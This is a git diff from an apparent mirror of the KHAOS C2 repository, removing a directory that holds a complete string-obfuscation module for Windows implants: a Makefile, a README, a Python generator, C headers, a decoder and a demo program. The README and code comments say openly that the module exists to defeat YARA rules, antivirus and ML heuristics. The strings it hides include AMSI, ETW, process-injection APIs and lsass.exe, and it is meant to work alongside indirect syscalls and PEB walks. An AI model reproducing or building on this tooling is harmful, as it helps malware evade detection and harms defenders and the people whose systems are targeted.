mirror of
https://github.com/28Zaaky/khaos-c2
synced 2026-07-22 12:18:04 +00:00
remove techniques directory
This commit is contained in:
@@ -1,36 +0,0 @@
|
||||
CC = x86_64-w64-mingw32-gcc
|
||||
PY = python3
|
||||
CFLAGS = -O2 -Wall -Wextra \
|
||||
-Iinclude \
|
||||
-fno-asynchronous-unwind-tables \
|
||||
-fno-ident \
|
||||
-fno-stack-protector
|
||||
|
||||
SRC = src/evs.c src/demo.c
|
||||
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
|
||||
TARGET = build/demo.exe
|
||||
HEADER = include/evs_strings.h
|
||||
|
||||
all: $(HEADER) build $(TARGET)
|
||||
|
||||
$(HEADER): strings.txt gen_evs.py
|
||||
$(PY) gen_evs.py strings.txt -o $(HEADER)
|
||||
|
||||
build:
|
||||
mkdir -p build
|
||||
|
||||
build/%.o: src/%.c $(HEADER)
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
|
||||
$(TARGET): $(OBJ)
|
||||
$(CC) $(CFLAGS) $(OBJ) -o $@
|
||||
|
||||
# Rebuild with a new random key
|
||||
rekey:
|
||||
rm -f $(HEADER)
|
||||
$(MAKE)
|
||||
|
||||
clean:
|
||||
rm -rf build $(HEADER)
|
||||
|
||||
.PHONY: all rekey clean
|
||||
@@ -1,166 +0,0 @@
|
||||
# evs-xor
|
||||
|
||||
Compile-time XOR string obfuscation for Windows implants. Prevents API/DLL name strings from appearing in `.rdata`, defeating static YARA rules that match literal API names.
|
||||
|
||||
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
|
||||
|
||||
---
|
||||
|
||||
## The problem
|
||||
|
||||
Any implant that calls `GetProcAddress(ntdll, "NtOpenProcess")` has the string `"NtOpenProcess"` sitting in `.rdata`. A two-line YARA rule catches every implant that uses that API by name. Same for `"AmsiScanBuffer"`, `"EtwEventWrite"`, `"lsass.exe"`, `"SeDebugPrivilege"`, etc.
|
||||
|
||||
```
|
||||
strings build/implant.exe | grep NtOpenProcess
|
||||
→ NtOpenProcess ← instant YARA hit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## How EVS XOR solves it
|
||||
|
||||
**Build time** (Python generator):
|
||||
|
||||
1. `gen_evs.py` reads your string table (`strings.txt`).
|
||||
2. Picks a random 1-byte XOR key (`secrets.randbelow(256)`, non-zero).
|
||||
3. XOR-encodes each string byte-by-byte.
|
||||
4. Writes `include/evs_strings.h` with static byte arrays + `EVS_KEY` define.
|
||||
|
||||
Key changes on every build → every byte array changes → no static YARA rule survives a rebuild.
|
||||
|
||||
**Runtime** (C decoder):
|
||||
|
||||
```c
|
||||
char buf[16] = {0};
|
||||
EVS_D(buf, EVS_dll_ntdll); // XOR decode "ntdll.dll" into buf at runtime
|
||||
HMODULE h = GetModuleHandleA(buf);
|
||||
SecureZeroMemory(buf, sizeof(buf)); // wipe from stack
|
||||
```
|
||||
|
||||
**Why `noinline`:**
|
||||
|
||||
One hundred `EVS_D()` calls inlined = one hundred short identical XOR loops in `.text`. ML-based AV heuristics flag high density of identical short loops as a packing / shellcode signature. `__attribute__((noinline))` keeps a single function body — one code pattern, not one hundred.
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
### 1. Add strings to `strings.txt`
|
||||
|
||||
```
|
||||
# Format: plaintext_value C_identifier_suffix
|
||||
|
||||
ntdll.dll dll_ntdll
|
||||
NtOpenProcess fn_NtOpenProcess
|
||||
AmsiScanBuffer fn_AmsiScanBuffer
|
||||
lsass.exe str_lsass
|
||||
```
|
||||
|
||||
### 2. Generate header
|
||||
|
||||
```bash
|
||||
python gen_evs.py strings.txt -o include/evs_strings.h
|
||||
# or just: make
|
||||
```
|
||||
|
||||
Output: `include/evs_strings.h` with randomized key + encoded arrays.
|
||||
|
||||
### 3. Include and use
|
||||
|
||||
```c
|
||||
#include "evs.h"
|
||||
#include "evs_strings.h"
|
||||
|
||||
// decode at the call site, use, wipe
|
||||
char dll[16] = {0};
|
||||
EVS_D(dll, EVS_dll_ntdll);
|
||||
HMODULE h = GetModuleHandleA(dll);
|
||||
SecureZeroMemory(dll, sizeof(dll));
|
||||
|
||||
char fn[24] = {0};
|
||||
EVS_D(fn, EVS_fn_NtOpenProcess);
|
||||
FARPROC p = GetProcAddress(h, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
```
|
||||
|
||||
### Rebuild with new key
|
||||
|
||||
```bash
|
||||
make rekey # deletes evs_strings.h, regenerates with a new random key, rebuilds
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build
|
||||
|
||||
```bash
|
||||
make
|
||||
./build/demo.exe
|
||||
```
|
||||
|
||||
Expected output:
|
||||
|
||||
```
|
||||
[*] EVS_KEY = 0xCC (random per build — changes every make)
|
||||
|
||||
[*] Encoded arrays in .rodata (no plaintext):
|
||||
EVS_dll_ntdll A2 B8 A8 A0 A0 E2 A8 A0 A0
|
||||
EVS_fn_NtOpenProcess 82 B8 83 BC A9 A2 9C BE A3 AF ...
|
||||
...
|
||||
|
||||
[*] Decoded at runtime:
|
||||
dll: ntdll.dll
|
||||
api: NtOpenProcess
|
||||
api: EtwEventWrite
|
||||
...
|
||||
|
||||
[+] GetModuleHandleA(ntdll.dll) = 0x00007ffe2fc40000
|
||||
[+] GetProcAddress(NtOpenProcess) = 0x00007ffe2fda0510
|
||||
[+] EVS XOR working — no plaintext strings, APIs resolved correctly
|
||||
```
|
||||
|
||||
Verify no plaintext leaks:
|
||||
|
||||
```powershell
|
||||
$b = [IO.File]::ReadAllBytes("build\demo.exe")
|
||||
$t = [Text.Encoding]::Latin1.GetString($b)
|
||||
[regex]::Matches($t,'[!-~]{5,}') | Where Value -match "ntdll|NtOpen|AmsiScan"
|
||||
# → 0 results
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## gen_evs.py options
|
||||
|
||||
```
|
||||
usage: gen_evs.py [strings.txt] [-o header.h] [-k 0xNN]
|
||||
|
||||
positional:
|
||||
strings.txt string table file (default: strings.txt)
|
||||
|
||||
optional:
|
||||
-o PATH output header path (default: include/evs_strings.h)
|
||||
-k 0xNN fixed XOR key — useful for testing; random by default
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Limitations
|
||||
|
||||
- **Single-byte XOR** — simple but sufficient to defeat static string matching. Not cryptographically strong. A determined analyst can brute-force 255 keys in milliseconds. The goal is defeating *static* AV/YARA, not a human analyst.
|
||||
- **Key in binary** — `EVS_KEY` is a literal in the compiled binary. Visible in a hex dump. Sufficient for static scanning evasion; not for obfuscating against reverse engineering.
|
||||
- **`SecureZeroMemory` is advisory** — compiler may optimize it away with LTO. Use `volatile` wipes or `explicit_bzero` in hardened production code.
|
||||
- **Import table still names `KERNEL32.dll`** — any PE that calls `GetProcAddress` will. Replace with a PEB walk to eliminate even that reference.
|
||||
|
||||
---
|
||||
|
||||
## Operational notes
|
||||
|
||||
- **Stack buffer sizing**: `EVS_D(buf, EVS_foo)` writes `sizeof(EVS_foo) + 1` bytes. Allocate `sizeof(EVS_foo) + 1` minimum.
|
||||
- **Thread safety**: `evs_dec()` is stateless — safe to call from multiple threads.
|
||||
- **Integration with PEB walk**: pair EVS with a PEB module walker to resolve DLLs without any string in the import table or `.rdata`.
|
||||
- **Integration with indirect syscalls**: EVS encodes Nt* function names passed to `sc_ssn()` — no plaintext syscall names appear even in the SSN resolver.
|
||||
|
||||
---
|
||||
|
||||
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,114 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
gen_evs.py — compile-time XOR string obfuscator for Windows implants.
|
||||
|
||||
Reads a two-column string table, encodes each string with a per-build
|
||||
random XOR key, and writes a C header with static byte arrays.
|
||||
|
||||
Usage:
|
||||
python gen_evs.py [strings.txt] [-o include/evs_strings.h] [-k 0xNN]
|
||||
|
||||
String table format:
|
||||
plaintext_string C_identifier_suffix
|
||||
# comment lines and blank lines are ignored
|
||||
|
||||
Output:
|
||||
C header with EVS_KEY define, EVS_<suffix>[] arrays, and EVS_D() macro.
|
||||
|
||||
Extracted from KHAOS C2 — https://github.com/28Zaaky/khaos-c2
|
||||
"""
|
||||
import os
|
||||
import sys
|
||||
import secrets
|
||||
import argparse
|
||||
|
||||
|
||||
def encode(plaintext: str, key: int) -> list:
|
||||
return [b ^ key for b in plaintext.encode("latin-1")]
|
||||
|
||||
|
||||
def load_strings(path: str) -> list:
|
||||
pairs = []
|
||||
with open(path) as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith("#"):
|
||||
continue
|
||||
parts = line.split()
|
||||
if len(parts) < 2:
|
||||
sys.exit(f"bad line in {path!r}: {line!r} (expected: plaintext identifier)")
|
||||
pairs.append((parts[0], parts[1]))
|
||||
return pairs
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(description=__doc__,
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
ap.add_argument("strings", nargs="?", default="strings.txt",
|
||||
help="string table file (default: strings.txt)")
|
||||
ap.add_argument("-o", default="include/evs_strings.h",
|
||||
help="output header path (default: include/evs_strings.h)")
|
||||
ap.add_argument("-k", default=None, metavar="0xNN",
|
||||
help="fixed XOR key in hex (default: random per run)")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.k:
|
||||
key = int(args.k, 16) & 0xFF
|
||||
if key == 0:
|
||||
sys.exit("key 0x00 is the XOR identity — use a non-zero value")
|
||||
else:
|
||||
key = secrets.randbelow(256)
|
||||
while key == 0:
|
||||
key = secrets.randbelow(256)
|
||||
|
||||
pairs = load_strings(args.strings)
|
||||
|
||||
lines = [
|
||||
"/* AUTO-GENERATED by gen_evs.py — do not edit.",
|
||||
" * EVS_KEY is randomised every build; all byte arrays change.",
|
||||
" * Defeats static YARA rules that match encoded API/DLL names.",
|
||||
" */",
|
||||
"#ifndef EVS_STRINGS_H",
|
||||
"#define EVS_STRINGS_H",
|
||||
"",
|
||||
f"#define EVS_KEY 0x{key:02x}u",
|
||||
"",
|
||||
]
|
||||
|
||||
for plaintext, suffix in pairs:
|
||||
enc = encode(plaintext, key)
|
||||
arr = ", ".join(f"0x{b:02x}" for b in enc)
|
||||
lines.append(
|
||||
f"static const unsigned char EVS_{suffix}[{len(enc)}]"
|
||||
f" = {{ {arr} }}; /* {plaintext} */"
|
||||
)
|
||||
|
||||
lines += [
|
||||
"",
|
||||
"/* Runtime XOR decoder — defined in src/evs.c.",
|
||||
" * noinline: one code pattern in .text, not N inline XOR loops.",
|
||||
" * ML-based AV heuristics flag many identical short loops;",
|
||||
" * a single called function does not match that signature. */",
|
||||
"#ifndef EVS_DEC_DECL",
|
||||
"#define EVS_DEC_DECL",
|
||||
"#include <stddef.h>",
|
||||
"extern void evs_dec(char *out, const unsigned char *enc, size_t n);",
|
||||
"#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))",
|
||||
"#endif",
|
||||
"",
|
||||
"#endif /* EVS_STRINGS_H */",
|
||||
"",
|
||||
]
|
||||
|
||||
out_dir = os.path.dirname(args.o)
|
||||
if out_dir:
|
||||
os.makedirs(out_dir, exist_ok=True)
|
||||
|
||||
with open(args.o, "w") as f:
|
||||
f.write("\n".join(lines))
|
||||
|
||||
print(f"[ok] {args.o} key=0x{key:02x} {len(pairs)} strings encoded")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,35 +0,0 @@
|
||||
#pragma once
|
||||
#include <stddef.h>
|
||||
|
||||
/*
|
||||
* EVS XOR — compile-time string obfuscation for Windows implants.
|
||||
*
|
||||
* Problem: strings like "ntdll.dll", "NtOpenProcess", "AmsiScanBuffer" in
|
||||
* .rdata are direct YARA match targets — one rule catches every implant that
|
||||
* touches these APIs by name.
|
||||
*
|
||||
* Solution: encode strings at compile time with a random per-build XOR key.
|
||||
* No plaintext appears in .rdata. Key changes every build → static YARA fails.
|
||||
*
|
||||
* Workflow:
|
||||
* 1. Add strings to strings.txt
|
||||
* 2. Run: python gen_evs.py (auto-called by `make`)
|
||||
* 3. #include "evs_strings.h" in files that need string decoding
|
||||
* 4. Decode at runtime, use, then wipe:
|
||||
*
|
||||
* char buf[16] = {0};
|
||||
* EVS_D(buf, EVS_dll_ntdll);
|
||||
* HMODULE h = GetModuleHandleA(buf);
|
||||
* SecureZeroMemory(buf, sizeof(buf));
|
||||
*
|
||||
* Runtime cost: one small XOR loop per decode call.
|
||||
* Stack buffers for decoded strings are caller-managed.
|
||||
*/
|
||||
|
||||
/* Runtime decoder (defined in src/evs.c).
|
||||
* __attribute__((noinline)) in the .c ensures one code pattern, not N copies. */
|
||||
void evs_dec(char *out, const unsigned char *enc, size_t n);
|
||||
|
||||
/* Decode EVS_<name> array into caller-provided buffer.
|
||||
* Buffer must be at least sizeof(EVS_<name>) + 1 bytes (evs_dec appends NUL). */
|
||||
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
|
||||
@@ -1,52 +0,0 @@
|
||||
/* AUTO-GENERATED by gen_evs.py — do not edit.
|
||||
* EVS_KEY is randomised every build; all byte arrays change.
|
||||
* Defeats static YARA rules that match encoded API/DLL names.
|
||||
*/
|
||||
#ifndef EVS_STRINGS_H
|
||||
#define EVS_STRINGS_H
|
||||
|
||||
#define EVS_KEY 0xccu
|
||||
|
||||
static const unsigned char EVS_dll_ntdll[9] = { 0xa2, 0xb8, 0xa8, 0xa0, 0xa0, 0xe2, 0xa8, 0xa0, 0xa0 }; /* ntdll.dll */
|
||||
static const unsigned char EVS_dll_kernel32[12] = { 0xa7, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* kernel32.dll */
|
||||
static const unsigned char EVS_dll_kernelbase[14] = { 0x87, 0xa9, 0xbe, 0xa2, 0xa9, 0xa0, 0x8e, 0xad, 0xbf, 0xa9, 0xe2, 0xa8, 0xa0, 0xa0 }; /* KernelBase.dll */
|
||||
static const unsigned char EVS_dll_advapi32[12] = { 0xad, 0xa8, 0xba, 0xad, 0xbc, 0xa5, 0xff, 0xfe, 0xe2, 0xa8, 0xa0, 0xa0 }; /* advapi32.dll */
|
||||
static const unsigned char EVS_dll_amsi[8] = { 0xad, 0xa1, 0xbf, 0xa5, 0xe2, 0xa8, 0xa0, 0xa0 }; /* amsi.dll */
|
||||
static const unsigned char EVS_fn_NtOpenProcess[13] = { 0x82, 0xb8, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* NtOpenProcess */
|
||||
static const unsigned char EVS_fn_NtAllocateVirtualMemory[23] = { 0x82, 0xb8, 0x8d, 0xa0, 0xa0, 0xa3, 0xaf, 0xad, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtAllocateVirtualMemory */
|
||||
static const unsigned char EVS_fn_NtWriteVirtualMemory[20] = { 0x82, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtWriteVirtualMemory */
|
||||
static const unsigned char EVS_fn_NtProtectVirtualMemory[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
|
||||
static const unsigned char EVS_fn_NtFreeVirtualMemory[19] = { 0x82, 0xb8, 0x8a, 0xbe, 0xa9, 0xa9, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtFreeVirtualMemory */
|
||||
static const unsigned char EVS_fn_NtCreateThreadEx[16] = { 0x82, 0xb8, 0x8f, 0xbe, 0xa9, 0xad, 0xb8, 0xa9, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x89, 0xb4 }; /* NtCreateThreadEx */
|
||||
static const unsigned char EVS_fn_NtClose[7] = { 0x82, 0xb8, 0x8f, 0xa0, 0xa3, 0xbf, 0xa9 }; /* NtClose */
|
||||
static const unsigned char EVS_fn_NtReadVirtualMemory[19] = { 0x82, 0xb8, 0x9e, 0xa9, 0xad, 0xa8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtReadVirtualMemory */
|
||||
static const unsigned char EVS_fn_NtContinue[10] = { 0x82, 0xb8, 0x8f, 0xa3, 0xa2, 0xb8, 0xa5, 0xa2, 0xb9, 0xa9 }; /* NtContinue */
|
||||
static const unsigned char EVS_fn_NtWaitForSingleObject[21] = { 0x82, 0xb8, 0x9b, 0xad, 0xa5, 0xb8, 0x8a, 0xa3, 0xbe, 0x9f, 0xa5, 0xa2, 0xab, 0xa0, 0xa9, 0x83, 0xae, 0xa6, 0xa9, 0xaf, 0xb8 }; /* NtWaitForSingleObject */
|
||||
static const unsigned char EVS_fn_NtPVM[22] = { 0x82, 0xb8, 0x9c, 0xbe, 0xa3, 0xb8, 0xa9, 0xaf, 0xb8, 0x9a, 0xa5, 0xbe, 0xb8, 0xb9, 0xad, 0xa0, 0x81, 0xa9, 0xa1, 0xa3, 0xbe, 0xb5 }; /* NtProtectVirtualMemory */
|
||||
static const unsigned char EVS_fn_RtlCaptureContext[17] = { 0x9e, 0xb8, 0xa0, 0x8f, 0xad, 0xbc, 0xb8, 0xb9, 0xbe, 0xa9, 0x8f, 0xa3, 0xa2, 0xb8, 0xa9, 0xb4, 0xb8 }; /* RtlCaptureContext */
|
||||
static const unsigned char EVS_fn_RtlUserThreadStart[18] = { 0x9e, 0xb8, 0xa0, 0x99, 0xbf, 0xa9, 0xbe, 0x98, 0xa4, 0xbe, 0xa9, 0xad, 0xa8, 0x9f, 0xb8, 0xad, 0xbe, 0xb8 }; /* RtlUserThreadStart */
|
||||
static const unsigned char EVS_fn_EtwEventWrite[13] = { 0x89, 0xb8, 0xbb, 0x89, 0xba, 0xa9, 0xa2, 0xb8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9 }; /* EtwEventWrite */
|
||||
static const unsigned char EVS_fn_EtwTiLogOpenProcess[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x83, 0xbc, 0xa9, 0xa2, 0x9c, 0xbe, 0xa3, 0xaf, 0xa9, 0xbf, 0xbf }; /* EtwTiLogOpenProcess */
|
||||
static const unsigned char EVS_fn_EtwTiLogReadWriteVm[19] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x9e, 0xa9, 0xad, 0xa8, 0x9b, 0xbe, 0xa5, 0xb8, 0xa9, 0x9a, 0xa1 }; /* EtwTiLogReadWriteVm */
|
||||
static const unsigned char EVS_fn_EtwTiLogDuplicateHandle[23] = { 0x89, 0xb8, 0xbb, 0x98, 0xa5, 0x80, 0xa3, 0xab, 0x88, 0xb9, 0xbc, 0xa0, 0xa5, 0xaf, 0xad, 0xb8, 0xa9, 0x84, 0xad, 0xa2, 0xa8, 0xa0, 0xa9 }; /* EtwTiLogDuplicateHandle */
|
||||
static const unsigned char EVS_fn_AmsiScanBuffer[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x8e, 0xb9, 0xaa, 0xaa, 0xa9, 0xbe }; /* AmsiScanBuffer */
|
||||
static const unsigned char EVS_fn_AmsiScanString[14] = { 0x8d, 0xa1, 0xbf, 0xa5, 0x9f, 0xaf, 0xad, 0xa2, 0x9f, 0xb8, 0xbe, 0xa5, 0xa2, 0xab }; /* AmsiScanString */
|
||||
static const unsigned char EVS_str_svchost[11] = { 0xbf, 0xba, 0xaf, 0xa4, 0xa3, 0xbf, 0xb8, 0xe2, 0xa9, 0xb4, 0xa9 }; /* svchost.exe */
|
||||
static const unsigned char EVS_str_explorer[12] = { 0xa9, 0xb4, 0xbc, 0xa0, 0xa3, 0xbe, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* explorer.exe */
|
||||
static const unsigned char EVS_str_lsass[9] = { 0xa0, 0xbf, 0xad, 0xbf, 0xbf, 0xe2, 0xa9, 0xb4, 0xa9 }; /* lsass.exe */
|
||||
static const unsigned char EVS_str_RuntimeBroker[17] = { 0x9e, 0xb9, 0xa2, 0xb8, 0xa5, 0xa1, 0xa9, 0x8e, 0xbe, 0xa3, 0xa7, 0xa9, 0xbe, 0xe2, 0xa9, 0xb4, 0xa9 }; /* RuntimeBroker.exe */
|
||||
static const unsigned char EVS_str_SeDebugPrivilege[16] = { 0x9f, 0xa9, 0x88, 0xa9, 0xae, 0xb9, 0xab, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeDebugPrivilege */
|
||||
static const unsigned char EVS_str_SeImpersonatePrivilege[22] = { 0x9f, 0xa9, 0x85, 0xa1, 0xbc, 0xa9, 0xbe, 0xbf, 0xa3, 0xa2, 0xad, 0xb8, 0xa9, 0x9c, 0xbe, 0xa5, 0xba, 0xa5, 0xa0, 0xa9, 0xab, 0xa9 }; /* SeImpersonatePrivilege */
|
||||
|
||||
/* Runtime XOR decoder — defined in src/evs.c.
|
||||
* noinline: one code pattern in .text, not N inline XOR loops.
|
||||
* ML-based AV heuristics flag many identical short loops;
|
||||
* a single called function does not match that signature. */
|
||||
#ifndef EVS_DEC_DECL
|
||||
#define EVS_DEC_DECL
|
||||
#include <stddef.h>
|
||||
extern void evs_dec(char *out, const unsigned char *enc, size_t n);
|
||||
#define EVS_D(out, arr) evs_dec((out), (arr), sizeof(arr))
|
||||
#endif
|
||||
|
||||
#endif /* EVS_STRINGS_H */
|
||||
@@ -1,109 +0,0 @@
|
||||
#include "evs.h"
|
||||
#include "evs_strings.h"
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
/*
|
||||
* Demo:
|
||||
* 1. Show that encoded arrays contain no plaintext bytes (strings tool finds nothing).
|
||||
* 2. Decode at runtime via EVS_D().
|
||||
* 3. Resolve real APIs using decoded names — no plaintext string ever in .rdata.
|
||||
* 4. Wipe decoded buffers with SecureZeroMemory after use.
|
||||
*
|
||||
* Verify no plaintext leaks:
|
||||
* strings build/demo.exe | grep -iE "ntdll|NtOpen|AmsiScan"
|
||||
* → no results expected
|
||||
*/
|
||||
|
||||
static void print_hex(const char *label, const unsigned char *arr, size_t n)
|
||||
{
|
||||
printf(" %-28s ", label);
|
||||
for (size_t i = 0; i < n && i < 10; i++)
|
||||
printf("%02X ", arr[i]);
|
||||
if (n > 10) printf("...");
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] EVS_KEY = 0x%02X (random per build — changes every make)\n\n", EVS_KEY);
|
||||
|
||||
/* --- Show raw encoded bytes: no plaintext recognizable --- */
|
||||
printf("[*] Encoded arrays in .rodata (no plaintext):\n");
|
||||
print_hex("EVS_dll_ntdll", EVS_dll_ntdll, sizeof(EVS_dll_ntdll));
|
||||
print_hex("EVS_fn_NtOpenProcess", EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess));
|
||||
print_hex("EVS_fn_AmsiScanBuffer",EVS_fn_AmsiScanBuffer,sizeof(EVS_fn_AmsiScanBuffer));
|
||||
print_hex("EVS_fn_EtwEventWrite", EVS_fn_EtwEventWrite, sizeof(EVS_fn_EtwEventWrite));
|
||||
print_hex("EVS_str_lsass", EVS_str_lsass, sizeof(EVS_str_lsass));
|
||||
|
||||
/* --- Decode at runtime --- */
|
||||
printf("\n[*] Decoded at runtime:\n");
|
||||
|
||||
char dll_ntdll[16] = {0};
|
||||
char dll_kernel32[16] = {0};
|
||||
char dll_amsi[16] = {0};
|
||||
char fn_NtOpen[24] = {0};
|
||||
char fn_NtProt[28] = {0};
|
||||
char fn_EtwW[20] = {0};
|
||||
char fn_AmsiScan[20] = {0};
|
||||
char str_svchost[16] = {0};
|
||||
char str_lsass[16] = {0};
|
||||
char str_sedbg[24] = {0};
|
||||
|
||||
EVS_D(dll_ntdll, EVS_dll_ntdll);
|
||||
EVS_D(dll_kernel32, EVS_dll_kernel32);
|
||||
EVS_D(dll_amsi, EVS_dll_amsi);
|
||||
EVS_D(fn_NtOpen, EVS_fn_NtOpenProcess);
|
||||
EVS_D(fn_NtProt, EVS_fn_NtProtectVirtualMemory);
|
||||
EVS_D(fn_EtwW, EVS_fn_EtwEventWrite);
|
||||
EVS_D(fn_AmsiScan, EVS_fn_AmsiScanBuffer);
|
||||
EVS_D(str_svchost, EVS_str_svchost);
|
||||
EVS_D(str_lsass, EVS_str_lsass);
|
||||
EVS_D(str_sedbg, EVS_str_SeDebugPrivilege);
|
||||
|
||||
printf(" dll: %s\n", dll_ntdll);
|
||||
printf(" dll: %s\n", dll_kernel32);
|
||||
printf(" dll: %s\n", dll_amsi);
|
||||
printf(" api: %s\n", fn_NtOpen);
|
||||
printf(" api: %s\n", fn_NtProt);
|
||||
printf(" api: %s\n", fn_EtwW);
|
||||
printf(" api: %s\n", fn_AmsiScan);
|
||||
printf(" process: %s\n", str_svchost);
|
||||
printf(" process: %s\n", str_lsass);
|
||||
printf(" privilege: %s\n", str_sedbg);
|
||||
|
||||
/* --- Functional test: resolve real API via decoded name --- */
|
||||
printf("\n[*] API resolution via decoded names (no plaintext in IAT/rdata):\n");
|
||||
|
||||
HMODULE hntdll = GetModuleHandleA(dll_ntdll);
|
||||
FARPROC fn_ntopen = hntdll ? GetProcAddress(hntdll, fn_NtOpen) : NULL;
|
||||
FARPROC fn_ntprot = hntdll ? GetProcAddress(hntdll, fn_NtProt) : NULL;
|
||||
FARPROC fn_etw = hntdll ? GetProcAddress(hntdll, fn_EtwW) : NULL;
|
||||
|
||||
printf(" [%c] GetModuleHandleA(%s) = %p\n",
|
||||
hntdll ? '+' : '!', dll_ntdll, (void *)hntdll);
|
||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
||||
fn_ntopen ? '+' : '!', fn_NtOpen, (void *)fn_ntopen);
|
||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
||||
fn_ntprot ? '+' : '!', fn_NtProt, (void *)fn_ntprot);
|
||||
printf(" [%c] GetProcAddress(%s) = %p\n",
|
||||
fn_etw ? '+' : '!', fn_EtwW, (void *)fn_etw);
|
||||
|
||||
/* Wipe decoded strings — no plaintext lingers on the stack */
|
||||
SecureZeroMemory(dll_ntdll, sizeof(dll_ntdll));
|
||||
SecureZeroMemory(dll_kernel32, sizeof(dll_kernel32));
|
||||
SecureZeroMemory(fn_NtOpen, sizeof(fn_NtOpen));
|
||||
SecureZeroMemory(fn_NtProt, sizeof(fn_NtProt));
|
||||
SecureZeroMemory(fn_EtwW, sizeof(fn_EtwW));
|
||||
SecureZeroMemory(fn_AmsiScan, sizeof(fn_AmsiScan));
|
||||
SecureZeroMemory(str_lsass, sizeof(str_lsass));
|
||||
SecureZeroMemory(str_sedbg, sizeof(str_sedbg));
|
||||
|
||||
BOOL ok = hntdll && fn_ntopen && fn_ntprot && fn_etw;
|
||||
printf("\n[%c] EVS XOR %s\n", ok ? '+' : '!',
|
||||
ok ? "working — no plaintext strings, APIs resolved correctly"
|
||||
: "FAIL — check output above");
|
||||
|
||||
return ok ? 0 : 1;
|
||||
}
|
||||
@@ -1,21 +0,0 @@
|
||||
#include "evs.h"
|
||||
#include "evs_strings.h"
|
||||
#include <stddef.h>
|
||||
|
||||
/*
|
||||
* Single XOR decoder — noinline so the compiler emits exactly one copy.
|
||||
*
|
||||
* Why noinline matters:
|
||||
* 100+ EVS_D() calls with inline expansion = 100+ identical 3-instruction
|
||||
* XOR loops scattered through .text. ML-based AV heuristics treat a high
|
||||
* density of identical short loops as a shellcode-packing signature.
|
||||
* One called function does not match that pattern.
|
||||
*/
|
||||
__attribute__((noinline))
|
||||
void evs_dec(char *out, const unsigned char *enc, size_t n)
|
||||
{
|
||||
unsigned char k = EVS_KEY;
|
||||
for (size_t i = 0; i < n; i++)
|
||||
out[i] = (char)(enc[i] ^ k);
|
||||
out[n] = '\0';
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
# EVS string table — one entry per line: plaintext identifier_suffix
|
||||
# Generated header will have EVS_<identifier_suffix> arrays.
|
||||
# Run: python gen_evs.py (or make)
|
||||
|
||||
# DLL names
|
||||
ntdll.dll dll_ntdll
|
||||
kernel32.dll dll_kernel32
|
||||
KernelBase.dll dll_kernelbase
|
||||
advapi32.dll dll_advapi32
|
||||
amsi.dll dll_amsi
|
||||
|
||||
# Nt* syscall stubs (ntdll)
|
||||
NtOpenProcess fn_NtOpenProcess
|
||||
NtAllocateVirtualMemory fn_NtAllocateVirtualMemory
|
||||
NtWriteVirtualMemory fn_NtWriteVirtualMemory
|
||||
NtProtectVirtualMemory fn_NtProtectVirtualMemory
|
||||
NtFreeVirtualMemory fn_NtFreeVirtualMemory
|
||||
NtCreateThreadEx fn_NtCreateThreadEx
|
||||
NtClose fn_NtClose
|
||||
NtReadVirtualMemory fn_NtReadVirtualMemory
|
||||
NtContinue fn_NtContinue
|
||||
